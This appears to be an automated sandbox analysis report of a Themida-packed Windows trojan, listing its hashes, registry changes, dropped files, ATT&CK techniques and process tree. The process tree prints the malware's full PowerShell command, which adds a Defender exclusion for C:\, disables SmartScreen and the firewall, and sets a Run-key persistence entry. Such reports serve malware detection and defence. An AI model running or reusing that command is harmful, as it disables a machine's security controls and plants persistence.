41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

General

Target

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Size

3.4MB
MD5

55a6d22be09d762103ae315f97b58561
SHA1

f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1
SHA256

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a
SHA512

4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

Score

10^/10

evasion persistence themida trojan

Malware Config

Signatures

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

powershell.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Start = "4" powershell.exe
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

UpSys.exeUpSys.exeUpSys.exe

pid process

2492 UpSys.exe
1376 UpSys.exe
228 UpSys.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

780 netsh.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Start = "4"	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

pid	process
2492	UpSys.exe
1376	UpSys.exe
228	UpSys.exe

pid	process
780	netsh.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

Drops startup file 1 IoCs

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/3424-117-0x00007FF6EEBE0000-0x00007FF6EF538000-memory.dmp	themida
behavioral2/memory/3424-118-0x00007FF6EEBE0000-0x00007FF6EF538000-memory.dmp	themida
behavioral2/memory/3424-120-0x00007FF6EEBE0000-0x00007FF6EF538000-memory.dmp	themida
behavioral2/memory/3424-119-0x00007FF6EEBE0000-0x00007FF6EF538000-memory.dmp	themida
C:\ProgramData\MicrosoftNetwork\System.exe	themida
behavioral2/memory/3424-234-0x00007FF6EEBE0000-0x00007FF6EF538000-memory.dmp	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinNet = "C:\\ProgramData\\MicrosoftNetwork\\System.exe"	powershell.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

pid process

3424 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

Modifies data under HKEY_USERS 52 IoCs

Processes:

powershell.exeUpSys.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	UpSys.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	UpSys.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exe41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exeUpSys.exeUpSys.exepowershell.exe

pid	process
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
2492	UpSys.exe
2492	UpSys.exe
2492	UpSys.exe
2492	UpSys.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
1376	UpSys.exe
1376	UpSys.exe
1376	UpSys.exe
1376	UpSys.exe
2308	powershell.exe
2308	powershell.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
2308	powershell.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

Processes:

powershell.exeUpSys.exeUpSys.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeIncreaseQuotaPrivilege	3676	powershell.exe
Token: SeSecurityPrivilege	3676	powershell.exe
Token: SeTakeOwnershipPrivilege	3676	powershell.exe
Token: SeLoadDriverPrivilege	3676	powershell.exe
Token: SeSystemProfilePrivilege	3676	powershell.exe
Token: SeSystemtimePrivilege	3676	powershell.exe
Token: SeProfSingleProcessPrivilege	3676	powershell.exe
Token: SeIncBasePriorityPrivilege	3676	powershell.exe
Token: SeCreatePagefilePrivilege	3676	powershell.exe
Token: SeBackupPrivilege	3676	powershell.exe
Token: SeRestorePrivilege	3676	powershell.exe
Token: SeShutdownPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeSystemEnvironmentPrivilege	3676	powershell.exe
Token: SeRemoteShutdownPrivilege	3676	powershell.exe
Token: SeUndockPrivilege	3676	powershell.exe
Token: SeManageVolumePrivilege	3676	powershell.exe
Token: 33	3676	powershell.exe
Token: 34	3676	powershell.exe
Token: 35	3676	powershell.exe
Token: 36	3676	powershell.exe
Token: SeDebugPrivilege	2492	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	2492	UpSys.exe
Token: SeIncreaseQuotaPrivilege	2492	UpSys.exe
Token: 0	2492	UpSys.exe
Token: SeDebugPrivilege	1376	UpSys.exe
Token: SeAssignPrimaryTokenPrivilege	1376	UpSys.exe
Token: SeIncreaseQuotaPrivilege	1376	UpSys.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeBackupPrivilege	3676	powershell.exe
Token: SeBackupPrivilege	3676	powershell.exe
Token: SeRestorePrivilege	3676	powershell.exe
Token: SeSecurityPrivilege	3676	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exepowershell.exeUpSys.exe

description	pid	process	target process
PID 3424 wrote to memory of 3676	3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe	powershell.exe
PID 3424 wrote to memory of 3676	3424	41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe	powershell.exe
PID 3676 wrote to memory of 2492	3676	powershell.exe	UpSys.exe
PID 3676 wrote to memory of 2492	3676	powershell.exe	UpSys.exe
PID 3676 wrote to memory of 780	3676	powershell.exe	netsh.exe
PID 3676 wrote to memory of 780	3676	powershell.exe	netsh.exe
PID 228 wrote to memory of 2308	228	UpSys.exe	powershell.exe
PID 228 wrote to memory of 2308	228	UpSys.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
"C:\Users\Admin\AppData\Local\Temp\41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Drops startup file
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
2⤵
- Modifies security service
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3676

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2492

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1376

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
5⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2308

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
3⤵
- Modifies Windows Firewall
PID:780

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

2

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Query Registry

2

T1012

Virtualization/Sandbox Evasion

1

T1497

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

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Downloads

C:\ProgramData\MicrosoftNetwork\System.exe
Filesize
3.4MB

MD5
55a6d22be09d762103ae315f97b58561

SHA1
f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1

SHA256
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

SHA512
4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
C:\ProgramData\UpSys.exe
Filesize
923KB

MD5
efe5769e37ba37cf4607cb9918639932

SHA1
f24ca204af2237a714e8b41d54043da7bbe5393b

SHA256
5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

SHA512
33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

Download Submit
memory/780-165-0x0000000000000000-mapping.dmp

Download
memory/2308-216-0x0000013075F00000-0x0000013075F3C000-memory.dmp

Filesize
240KB

Download
memory/2308-168-0x0000000000000000-mapping.dmp

Download
memory/2492-159-0x0000000000000000-mapping.dmp

Download
memory/3424-120-0x00007FF6EEBE0000-0x00007FF6EF538000-memory.dmp

Filesize
9.3MB

Download
memory/3424-121-0x00007FFE63A30000-0x00007FFE63C0B000-memory.dmp

Filesize
1.9MB

Download
memory/3424-119-0x00007FF6EEBE0000-0x00007FF6EF538000-memory.dmp

Filesize
9.3MB

Download
memory/3424-117-0x00007FF6EEBE0000-0x00007FF6EF538000-memory.dmp

Filesize
9.3MB

Download
memory/3424-118-0x00007FF6EEBE0000-0x00007FF6EF538000-memory.dmp

Filesize
9.3MB

Download
memory/3424-234-0x00007FF6EEBE0000-0x00007FF6EF538000-memory.dmp

Filesize
9.3MB

Download
memory/3424-235-0x00007FFE63A30000-0x00007FFE63C0B000-memory.dmp

Filesize
1.9MB

Download
memory/3676-131-0x00000259A8C20000-0x00000259A8C96000-memory.dmp

Filesize
472KB

Download
memory/3676-128-0x000002598FD20000-0x000002598FD42000-memory.dmp

Filesize
136KB

Download
memory/3676-122-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads